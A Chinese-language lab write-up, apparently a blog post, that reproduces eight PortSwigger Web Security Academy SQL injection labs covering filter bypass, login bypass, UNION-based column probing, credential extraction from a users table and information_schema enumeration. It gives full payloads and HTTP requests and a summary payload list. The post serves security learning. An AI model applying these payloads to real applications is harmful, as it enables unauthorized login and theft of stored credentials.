SQL注入(一)

**摘要:**本文基于 PortSwigger Web Security Academy 官方授权靶场,系统梳理了八类 SQL 注入漏洞实验的完整复现过程,涵盖 WHERE 子句隐藏数据检索、登录绕过、UNION 攻击(确定列数、定位文本列、跨表取数、单列拼接)、数据库类型与版本探测,以及非 Oracle 数据库元数据枚举等核心场景。每类实验均给出可复现的 Payload 与核心技巧,并在文末汇总各攻击手法的原理要点,帮助安全学习者理解 SQL 注入的成因、利用思路与防御方向。

实验一:WHERE条款中允许检索隐藏数据的SQL注入漏洞

1.漏洞点:应用程序没有对用户输入的 category 参数做安全检查,直接把它拼接到了 SQL 语句中。

category = 'Gifts':这是过滤条件,只显示分类为"Gifts(礼物)"的商品。

released = 1:这是另一个过滤条件,1 代表 True,即只显示"已发布"的商品。

2.构造攻击:'+OR+1=1--,拼接到payload里面去是,这里的+在url里面是表示空格

SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

3.逐步拆解payload:

'(单引号):首先,注入的单引号闭合了原本 category = ' 后面的那个单引号。这使得 SQL 解析器认为前面的条件结束了。

OR(或者):接着加入 OR 逻辑操作符。

1=1:这是一个永远为真(True)的条件。

--(注释符):这是最关键的一步。在 SQL 中,-- 表示后面的内容全部是注释,会被数据库引擎忽略掉。

那么现在的payload就变成了:后面的内容被注释掉了

SELECT * FROM products WHERE category = 'Gifts' OR 1=1

原本的查询逻辑是:"我要找 Gifts 分类 并且 是已发布的产品"。

现在由于 1=1 永远成立,查询逻辑变成了:"我要找 Gifts 分类的产品 或者 只要 1=1(永远成立)的产品"。

因为 OR 1=1 永远为真,所以数据库会返回表中的所有产品记录,包括那些 released = 0(未发布)的隐藏产品。这样你就成功绕过了系统的过滤机制,看到了隐藏数据。

4.然后再bp里面抓包修改就解决了这个实验

实验二:允许登录绕过SQL注入漏洞

1.这个实验是关于登录过程的SQL注入问题,我们可以直接再登录框内进行注入,首先测试是不是用户名这一栏存在漏洞,在登录的时候对用户名进行注入:administrator'--然后密码随便输入,就可以解决这个实验。

实验三:SQL 注入 UNION 攻击,确定查询返回的列数

1.在测试UNION注入的漏洞的时候需要UNION 前后查询返回结果的列数必须一致,我们可以使用NULL进行测试,当返回的结果不再是500而是返回200的时候,有多少的NULL就表示存在多少列

这里我们再Gifts后面加上一个'表示的是闭合Gifts,闭合之后,我们就可以插入一个全新的 UNION SELECT 查询语句。

实验四:实验:SQL注入UNION攻击,寻找包含文本的列

1.这个实验是在上一个实验的进阶,这里需要判断出文本在第几列,但是首先我们还是要判断出这个数据表有多少列,就和上面的那个实验的步骤是一样的

2.先去判断有多少列:得到结果是存在三列,然后我们就要去判断文本存在第几列

3.然后一个一个测试用'abc'进行测试,返回的结果是200就表示测试成功

4.然后我们要用的是这个实验规定的那个字符进行测试才能解决这个实验,我们查看到右边页面中有一个用单引号包起来的字符就是我们所需要的字符,然后把这个字符放到我们测试的abc的位置上再发送一次请求就可以解决这个实验

实验五:实验:SQL注入UNION攻击,从其他表检索数据

1.这个实验是要我们从users表中得到用户名和密码的信息,并用这个信息登录。步骤和上面的实验是一样的,我们先判断有多少行和多少列,然后判断信息在第几列

2.判断出有两列之后去测试信息在第几列,两列都存在信息。

3.然后我们直接在users表中得到登录密码和用户名

4.在右边的窗口中得到信息,直接登录,解决这个实验

实验六:SQL注入UNION攻击,在单列获取多个值

1.这一个实验和之前的不一样,这个是单列的数据表,如果像我们之前的那样的查找数据的话就会因为列数不匹配报错,所以我们需要把两个都要查找的信息拼接起来,一起塞入唯一能够查找的那一列中。但是首先的步骤还是和之前的实验是一样的,要判断列数以及信息的位置。

2.判断信息的位置,在第二列并且只有一列存在信息

3.用连接符号连接password和username然后一起放到第二列唯一一个能够查询的地方,发送请求之后再右边的返回响应里面能够找到用户名和密码。

可以是:category=Gifts'+UNION+SELECT+username||password+FROM+users--

或者是:category=Pets'+UNION+SELECT+NULL,username||'~'||password+FROM+users--

4.然后用得到的用户名和密码登录就解决了这个实验

实验七:SQL注入攻击,查询MySQL和Microsoft 上的数据库类型和版本

1.这个实验的数据库类型是MySQL数据库和Microsoft数据库类型,然后要使用的注释符是#,然后我们首先还是要去测试有多少列,然后信息在第几列

2.在这里我们得到了存在两列,然后继续判断数据的位置,得到信息:两列都存在信息

3.因为 @@version 只有 1 个值。如果你写 UNION SELECT @@version,相当于后面只查了 1 列。前面 2 列,后面 1 列,列数不匹配,数据库报错。

我们需要一个"占位符",它不需要查出任何有用的数据,只要占着位置不报错就行。

在 SQL 中,NULL 是最好的占位符。它代表"空",兼容任何数据类型(不管是数字还是文本列,放 NULL 都不会报错)。

所以, Payload 就必须是 UNION SELECT 值1, 值2,其中一个是 @@version,另一个是 NULL。

然后这个就会有两种写法,我们可以先把@@version写前面,把NULL写后面,先去查看返回的结果,如果这个没有解决实验的话那就交换位置,最后一定是可以解决问题。

实验八:SQL 注入攻击,列出非 Oracle 数据库中的数据库内容

1.首先我们在BP的内置的浏览器中打开我们的实验页面,然后可以发现有一些搜索的类别,这个时候我们打开BP抓包,然后随便点击一个类别,在proxy页面再把这个请求发送到repeater页面

2.然后我们首先要确定查询返回的列数,首先从第一个判断,发现返回的是500,然后逐个增加,直到返回的是200

3.然后我们要判断那些列是文本,也是从第一个开始判断,假设第一个为'abc',然后查看response的返回的结果,然后我们在对这两列进行测试后发现这两个都是文本

4.然后我们要去查询数据库中的所有表名,去判断我们的用户信息保存在哪一个表中,使用payload:

复制代码
GET /filter?category=Pets'+UNION+SELECT+table_name,NULL+FROM+information_schema.tables# HTTP/2

information_schema.tables 是存放表名的表,table_name 是里面的列名。我们把它放在第 1 列,第 2 列用 NULL 占位。

结果:页面上会列出很多表名。你要在里面找可疑的表,通常是一个叫 users 或者类似名字的表。

5.然后我们找到了一个users_iarxzv,查找这里面的信息,构造payload:

html 复制代码
GET /filter?category=Lifestyle'+UNION+SELECT+column_name,NULL+FROM+information_schema.columns+WHERE+table_name='users_iarxzv'--+ HTTP/2

然后我们可以在右边的响应框里面找到返回的用户名和密码,用这个登录即可解决

总结:

WHERE 条款中允许检索隐藏数据

Payload: Gifts'+OR+1=1--

核心技巧: 利用 OR 1=1 逻辑漏洞,让原本的过滤条件(如 released=1)失效,暴露出隐藏数据。

登录绕过 (Login Bypass)

Payload: administrator'--

核心技巧: 闭合单引号,用注释符 -- 把后面的密码验证部分直接注释掉,实现无密码登录。

UNION 攻击:确定查询返回的列数

Payload: '+UNION+SELECT+NULL,NULL,NULL--

核心技巧: 通过不断递增 NULL 的数量,测试出前端页面表格的真实列数(这是 UNION 注入的前提)。

UNION 攻击:查找包含文本的列

Payload: '+UNION+SELECT+'abc',NULL--

核心技巧: 找出哪些列可以显示字符串,为后续显示账号密码做准备。

UNION 攻击:从其他表获取数据

Payload: '+UNION+SELECT+username,password+FROM+users--

核心技巧: 确定了列数和显示位后,直接从目标表(users)里把数据提取出来。

UNION 攻击:在单列中检索多个值

Payload: '+UNION+SELECT+username||password+FROM+users--

核心技巧: 当只有 1 列能显示数据时,使用拼接符(如 ||、+、CONCAT())将多个字段拼成一个字符串。

查询数据库类型和版本

Payload: '+UNION+SELECT+@@version,NULL#

核心技巧: 获取系统信息,并深刻理解了 #(MySQL)和 --+(通用)注释符的区别和用法。

列出非 Oracle 数据库的内容(元数据探测)

Payload:

查表名:'+UNION+SELECT+table_name,NULL+FROM+information_schema.tables#

查列名'+UNION+SELECT+column_name,NULL+FROM+information_schema.columns+WHERE+table_name='users_iarxzv'--+

核心技巧: 通过数据库自带的"说明书"(information_schema)查出真实的随机表名(users_iarxzv)和列名。

声明:

本文涉及的所有操作均在 PortSwigger Web Security Academy 提供的官方授权实验靶场中进行。该平台明确授权安全学习者在其环境中进行漏洞复现与攻击模拟。

本文所展示的技术、思路及代码,严禁用于任何未经授权的系统、网络或应用。请勿将文中方法用于非法获取他人数据、破坏系统或侵犯隐私。

读者若将本文内容用于非法用途,由此产生的一切法律后果与责任由读者自行承担,与本文作者无关。

本文旨在帮助安全爱好者理解SQL注入的攻击原理。建议读者在理解漏洞成因后,重点学习如何修复与防御,而非仅关注攻击手法。

安全研究,始于责任,终于守护。

相关推荐
anew___1 小时前
《从零手写操作系统 (19):Ext2文件系统实战——从内存到磁盘的跨越》
java·服务器·前端·数据库·算法
AOI小白新手上路1 小时前
视频去雨网络的模块缝合路线 · 实践笔记
网络·笔记·音视频
Arcai10241 小时前
SQL Server 备份和恢复完全指南:从入门到精通
数据库·sqlserver·数据恢复·数据备份·备份一体机·杭州智备
XS0301061 小时前
Redis 学习指南
数据库·redis·缓存
FPGA小徐1 小时前
Qt 5.9 实战:实现一个自动图片轮播器
数据库
l1t1 小时前
DeepSeek总结的pg_clickhouse 与 chdb 更新:编码、嵌套与类型
数据库·clickhouse·postgresql
傲世仙尊1 小时前
从HTTPS到MySQL-会话保持的攻防与数据库的真面目
数据库·mysql·https
inferno1 小时前
SVN学习笔记(一)
笔记·学习·svn
高山有多高1 小时前
【Linux笔记】线程同步与互斥
linux·笔记